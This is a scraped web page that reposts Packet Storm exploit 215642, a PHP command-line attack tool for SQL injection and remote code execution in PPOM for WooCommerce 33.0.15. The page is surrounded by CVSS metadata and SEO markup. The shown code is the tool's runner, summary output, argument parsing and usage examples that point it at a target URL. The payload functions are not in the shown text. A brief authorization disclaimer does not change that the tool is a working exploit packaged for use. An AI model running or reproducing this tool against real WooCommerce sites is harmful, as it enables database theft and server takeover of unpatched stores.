\u0627\u0644\u0623\u0648\u0627\u0645\u0631\\n            }\\n        }\\n        \\n        \/\/ ==================== Main Test Runner ====================\\n        public function run_complete_test() {\\n            $this-\\u003eshow_banner();\\n            \\n            $this-\\u003elog(\\&#8221;Starting Comprehensive Security Test\\&#8221;, &#8216;info&#8217;);\\n            $this-\\u003elog(\\&#8221;Target: {$this-\\u003etarget_url}\\&#8221;, &#8216;info&#8217;);\\n            $this-\\u003elog(\\&#8221;Attack Type: \\&#8221; . strtoupper($this-\\u003eattack_type), &#8216;info&#8217;);\\n            $this-\\u003elog(\\&#8221;Timeout: {$this-\\u003etest_timeout} seconds\\&#8221;, &#8216;info&#8217;);\\n            $this-\\u003elog(\\&#8221;Timestamp: \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;), &#8216;info&#8217;);\\n            $this-\\u003elog(\\&#8221;\\&#8221;, &#8216;info&#8217;);\\n            \\n            $all_results = array();\\n            \\n            \/\/ \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0627\u062e\u062a\u0628\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629\\n            if ($this-\\u003eattack_type === &#8216;sql&#8217; || $this-\\u003eattack_type === &#8216;all&#8217;) {\\n                $all_results[&#8216;sql_injection&#8217;] = $this-\\u003etest_sql_injection();\\n            }\\n            \\n            if ($this-\\u003eattack_type === &#8216;rce&#8217; || $this-\\u003eattack_type === &#8216;all&#8217;) {\\n                $all_results[&#8216;rce&#8217;] = $this-\\u003etest_rce(&#8216;all&#8217;);\\n            }\\n            \\n            $this-\\u003eshow_detailed_summary($all_results);\\n            \\n            return $all_results;\\n        }\\n        \\n        private function show_banner() {\\n            echo \\&#8221;\\\\033[1;35m\\&#8221; . str_repeat(\\&#8221;=\\&#8221;, 60) . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            echo \\&#8221;\\\\033[1;35m\\&#8221; . \\&#8221;          ADVANCED SECURITY TESTER TOOL           \\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            echo \\&#8221;\\\\033[1;35m\\&#8221; . \\&#8221;       SQLi + RCE Vulnerability Scanner          \\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            echo \\&#8221;\\\\033[1;35m\\&#8221; . str_repeat(\\&#8221;=\\&#8221;, 60) . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL . PHP_EOL;\\n        }\\n        \\n        private function show_detailed_summary($results) {\\n            echo PHP_EOL;\\n            echo \\&#8221;\\\\033[1;34m\\&#8221; . str_repeat(\\&#8221;=\\&#8221;, 60) . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            echo \\&#8221;\\\\033[1;34m\\&#8221; . \\&#8221;              DETAILED TEST SUMMARY              \\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            echo \\&#8221;\\\\033[1;34m\\&#8221; . str_repeat(\\&#8221;=\\&#8221;, 60) . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            \\n            $total_vulnerabilities = 0;\\n            \\n            foreach ($results as $test_type =\\u003e $test_results) {\\n                echo PHP_EOL . \\&#8221;\\\\033[1;36m\\&#8221; . strtoupper(str_replace(&#8216;_&#8217;, &#8216; &#8216;, $test_type)) . \\&#8221; RESULTS:\\\\033[0m\\&#8221; . PHP_EOL;\\n                \\n                $type_vulnerabilities = 0;\\n                foreach ($test_results as $key =\\u003e $result) {\\n                    $status = $result[&#8216;vulnerable&#8217;] ? \\n                        \\&#8221;\\\\033[1;31mVULNERABLE\\\\033[0m\\&#8221; : \\n                        \\&#8221;\\\\033[1;32mSAFE\\\\033[0m\\&#8221;;\\n                    \\n                    $name = isset($result[&#8216;name&#8217;]) ? $result[&#8216;name&#8217;] : (isset($result[&#8216;category&#8217;]) ? $result[&#8216;category&#8217;] : &#8216;Unknown&#8217;);\\n                    echo \\&#8221;  \u2022 {$name}: {$status}\\&#8221;;\\n                    \\n                    if ($result[&#8216;vulnerable&#8217;]) {\\n                        echo \\&#8221; ({$result[&#8216;details&#8217;]})\\&#8221;;\\n                        $type_vulnerabilities++;\\n                        $total_vulnerabilities++;\\n                    }\\n                    \\n                    if (isset($result[&#8216;duration&#8217;])) {\\n                        echo \\&#8221; [Time: \\&#8221; . number_format($result[&#8216;duration&#8217;], 2) . \\&#8221;s]\\&#8221;;\\n                    }\\n                    \\n                    echo PHP_EOL;\\n                }\\n                \\n                if ($type_vulnerabilities \\u003e 0) {\\n                    echo \\&#8221;  \\\\033[1;33mFound {$type_vulnerabilities} vulnerabilities!\\\\033[0m\\&#8221; . PHP_EOL;\\n                }\\n            }\\n            \\n            echo PHP_EOL;\\n            echo \\&#8221;\\\\033[1;34m\\&#8221; . str_repeat(\\&#8221;-\\&#8221;, 60) . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            \\n            if ($total_vulnerabilities \\u003e 0) {\\n                echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;\u203c CRITICAL: {$total_vulnerabilities} VULNERABILITIES FOUND!\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n                echo \\&#8221;\\\\033[1;33m\\&#8221; . \\&#8221;  Immediate remediation required!\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n                echo \\&#8221;\\\\033[1;33m\\&#8221; . \\&#8221;  Recommendations:\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n                echo \\&#8221;\\\\033[1;33m\\&#8221; . \\&#8221;  1. Update all software components\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n                echo \\&#8221;\\\\033[1;33m\\&#8221; . \\&#8221;  2. Implement input validation\/sanitization\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n                echo \\&#8221;\\\\033[1;33m\\&#8221; . \\&#8221;  3. Use prepared statements for SQL\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n                echo \\&#8221;\\\\033[1;33m\\&#8221; . \\&#8221;  4. Disable dangerous PHP functions\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            } else {\\n                echo \\&#8221;\\\\033[1;32m\\&#8221; . \\&#8221;\u2713 No vulnerabilities detected in this scan\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n                echo \\&#8221;\\\\033[1;36m\\&#8221; . \\&#8221;  Note: This doesn&#8217;t guarantee complete security\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            }\\n            \\n            echo PHP_EOL;\\n            echo \\&#8221;\\\\033[1;36m\\&#8221; . \\&#8221;Scan completed at: \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        }\\n    }\\n    \\n    \/\/ ==================== CLI Interface ====================\\n    function show_help() {\\n        echo \\&#8221;\\\\033[1;33m\\&#8221; . \\&#8221;Advanced Security Tester &#8211; Usage Guide\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        echo \\&#8221;\\\\033[1;33m\\&#8221; . str_repeat(\\&#8221;=\\&#8221;, 50) . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL . PHP_EOL;\\n        \\n        echo \\&#8221;\\\\033[1;32m\\&#8221; . \\&#8221;Required:\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  &#8211;url, -u      Target URL\\&#8221; . PHP_EOL . PHP_EOL;\\n        \\n        echo \\&#8221;\\\\033[1;32m\\&#8221; . \\&#8221;Attack Types:\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  &#8211;type, -t     Test type: sql, rce, all (default: all)\\&#8221; . PHP_EOL . PHP_EOL;\\n        \\n        echo \\&#8221;\\\\033[1;32m\\&#8221; . \\&#8221;Options:\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  &#8211;timeout, -s  Sleep\/delay time in seconds (default: 7)\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  &#8211;method, -m   Request method: curl, file, auto (default: auto)\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  &#8211;verbose, -v  Enable verbose output\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  &#8211;output, -o   Save results to file\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  &#8211;help, -h     Show this help\\&#8221; . PHP_EOL . PHP_EOL;\\n        \\n        echo \\&#8221;\\\\033[1;32m\\&#8221; . \\&#8221;Examples:\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  php security_tester.php -u http:\/\/target.com\/\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  php security_tester.php -u http:\/\/target.com -t sql -s 5\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  php security_tester.php -u http:\/\/target.com -t rce -v\\&#8221; . PHP_EOL;\\n        echo \\&#8221;  php security_tester.php -u http:\/\/target.com -t all -o scan.log\\&#8221; . PHP_EOL . PHP_EOL;\\n        \\n        echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;WARNING: For authorized penetration testing only!\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;Legal use requires explicit permission from system owner.\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        exit(0);\\n    }\\n    \\n    function main() {\\n        $options = getopt(\\&#8221;u:t:s:m:vo:h\\&#8221;, array(\\&#8221;url:\\&#8221;, \\&#8221;type:\\&#8221;, \\&#8221;timeout:\\&#8221;, \\&#8221;method:\\&#8221;, \\&#8221;verbose\\&#8221;, \\&#8221;output:\\&#8221;, \\&#8221;help\\&#8221;));\\n        \\n        if (isset($options[&#8216;h&#8217;]) || isset($options[&#8216;help&#8217;])) {\\n            show_help();\\n        }\\n        \\n        \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0644\u0642\u064a\u0645 \u0645\u0639 \u062f\u0639\u0645 PHP 5.x\\n        $url = &#8221;;\\n        if (isset($options[&#8216;u&#8217;])) {\\n            $url = $options[&#8216;u&#8217;];\\n        } elseif (isset($options[&#8216;url&#8217;])) {\\n            $url = $options[&#8216;url&#8217;];\\n        }\\n        \\n        if (empty($url)) {\\n            echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;Error: Target URL is required!\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            echo \\&#8221;Use &#8211;help for usage information.\\&#8221; . PHP_EOL;\\n            exit(1);\\n        }\\n        \\n        $attack_type = &#8216;all&#8217;;\\n        if (isset($options[&#8216;t&#8217;])) {\\n            $attack_type = $options[&#8216;t&#8217;];\\n        } elseif (isset($options[&#8216;type&#8217;])) {\\n            $attack_type = $options[&#8216;type&#8217;];\\n        }\\n        \\n        $timeout = 7;\\n        if (isset($options[&#8216;s&#8217;])) {\\n            $timeout = intval($options[&#8216;s&#8217;]);\\n        } elseif (isset($options[&#8216;timeout&#8217;])) {\\n            $timeout = intval($options[&#8216;timeout&#8217;]);\\n        }\\n        \\n        $method = &#8216;auto&#8217;;\\n        if (isset($options[&#8216;m&#8217;])) {\\n            $method = $options[&#8216;m&#8217;];\\n        } elseif (isset($options[&#8216;method&#8217;])) {\\n            $method = $options[&#8216;method&#8217;];\\n        }\\n        \\n        $verbose = isset($options[&#8216;v&#8217;]) || isset($options[&#8216;verbose&#8217;]);\\n        \\n        $output_file = null;\\n        if (isset($options[&#8216;o&#8217;])) {\\n            $output_file = $options[&#8216;o&#8217;];\\n        } elseif (isset($options[&#8216;output&#8217;])) {\\n            $output_file = $options[&#8216;output&#8217;];\\n        }\\n        \\n        \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a\\n        if (!in_array($attack_type, array(&#8216;sql&#8217;, &#8216;rce&#8217;, &#8216;all&#8217;))) {\\n            echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;Error: Type must be &#8216;sql&#8217;, &#8216;rce&#8217;, or &#8216;all&#8217;\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            exit(1);\\n        }\\n        \\n        if ($timeout \\u003c 1 || $timeout \\u003e 30) {\\n            echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;Error: Timeout must be between 1 and 30 seconds\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            exit(1);\\n        }\\n        \\n        if (!in_array($method, array(&#8216;auto&#8217;, &#8216;curl&#8217;, &#8216;file&#8217;))) {\\n            echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;Error: Method must be &#8216;auto&#8217;, &#8216;curl&#8217;, or &#8216;file&#8217;\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            exit(1);\\n        }\\n        \\n        \/\/ \u0625\u0636\u0627\u0641\u0629 http:\/\/ \u0625\u0630\u0627 \u0644\u0645 \u064a\u0643\u0646 \u0645\u0648\u062c\u0648\u062f\u064b\u0627\\n        if (!preg_match(&#8216;\/^https?:\\\\\/\\\\\/\/&#8217;, $url)) {\\n            $url = &#8216;http:\/\/&#8217; . $url;\\n        }\\n        \\n        \/\/ \u0625\u0634\u0639\u0627\u0631 \u0623\u0645\u0646\u064a\\n        echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221; SECURITY NOTICE:\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        echo \\&#8221;This tool is for authorized security testing only.\\&#8221; . PHP_EOL;\\n        echo \\&#8221;Unauthorized use is illegal and unethical.\\&#8221; . PHP_EOL;\\n        echo \\&#8221;Proceed only if you have explicit permission.\\&#8221; . PHP_EOL . PHP_EOL;\\n        \\n        echo \\&#8221;Starting scan in 3 seconds&#8230;\\&#8221;;\\n        for ($i = 3; $i \\u003e 0; $i&#8211;) {\\n            echo \\&#8221; {$i}\\&#8221;;\\n            sleep(1);\\n        }\\n        echo PHP_EOL . PHP_EOL;\\n        \\n        try {\\n            $tester = new SecurityTesterCLI($url, $timeout, $attack_type, $verbose, $method, $output_file);\\n            $tester-\\u003erun_complete_test();\\n        } catch (Exception $e) {\\n            echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;Error: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n            exit(1);\\n        }\\n        \\n        exit(0);\\n    }\\n    \\n    \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0625\u0635\u062f\u0627\u0631 PHP\\n    if (version_compare(PHP_VERSION, &#8216;5.4.0&#8217;, &#8216;\\u003c&#8217;)) {\\n        echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;Error: PHP 5.4 or higher is required!\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        echo \\&#8221;Current PHP version: \\&#8221; . PHP_VERSION . PHP_EOL;\\n        exit(1);\\n    }\\n    \\n    \/\/ \u0628\u062f\u0621 \u0627\u0644\u062a\u0634\u063a\u064a\u0644\\n    if (PHP_SAPI === &#8216;cli&#8217;) {\\n        main();\\n    } else {\\n        echo \\&#8221;\\\\033[1;31m\\&#8221; . \\&#8221;This script must be run from the command line.\\&#8221; . \\&#8221;\\\\033[0m\\&#8221; . PHP_EOL;\\n        echo \\&#8221;Usage: php \\&#8221; . basename(__FILE__) . \\&#8221; &#8211;url \\u003ctarget_url\\u003e\\&#8221; . PHP_EOL;\\n    }\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215642&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215642\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:45:10&#8243;,&#8221;description&#8221;:&#8221;This is an extensive exploit that leverages a remote SQL injection vulnerability in PPOM for WooCommerce version 33.0.15 to also achieve remote code execution and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-41067","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \/ Code Execution_PACKETSTORM:215642 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41067\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \/ Code Execution_PACKETSTORM:215642 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:45:10&#8243;,&#8221;description&#8221;:&#8221;This is an extensive exploit that leverages a remote SQL injection vulnerability in PPOM for WooCommerce version 33.0.15 to also achieve remote code execution and...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41067\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-16T12:46:53+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"20 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41067#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41067\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \\\/ Code Execution_PACKETSTORM:215642\",\"datePublished\":\"2026-02-16T12:46:53+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41067\"},\"wordCount\":3839,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41067#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41067\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41067\",\"name\":\"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \\\/ Code Execution_PACKETSTORM:215642 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-16T12:46:53+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41067#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41067\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41067#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \\\/ Code Execution_PACKETSTORM:215642\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \/ Code Execution_PACKETSTORM:215642 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41067","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \/ Code Execution_PACKETSTORM:215642 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:45:10&#8243;,&#8221;description&#8221;:&#8221;This is an extensive exploit that leverages a remote SQL injection vulnerability in PPOM for WooCommerce version 33.0.15 to also achieve remote code execution and...","og_url":"https:\/\/zero.redgem.net\/?p=41067","og_site_name":"zero redgem","article_published_time":"2026-02-16T12:46:53+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"20 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41067#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41067"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \/ Code Execution_PACKETSTORM:215642","datePublished":"2026-02-16T12:46:53+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41067"},"wordCount":3839,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41067#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41067","url":"https:\/\/zero.redgem.net\/?p=41067","name":"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \/ Code Execution_PACKETSTORM:215642 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-16T12:46:53+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41067#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41067"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41067#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \/ Code Execution_PACKETSTORM:215642"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 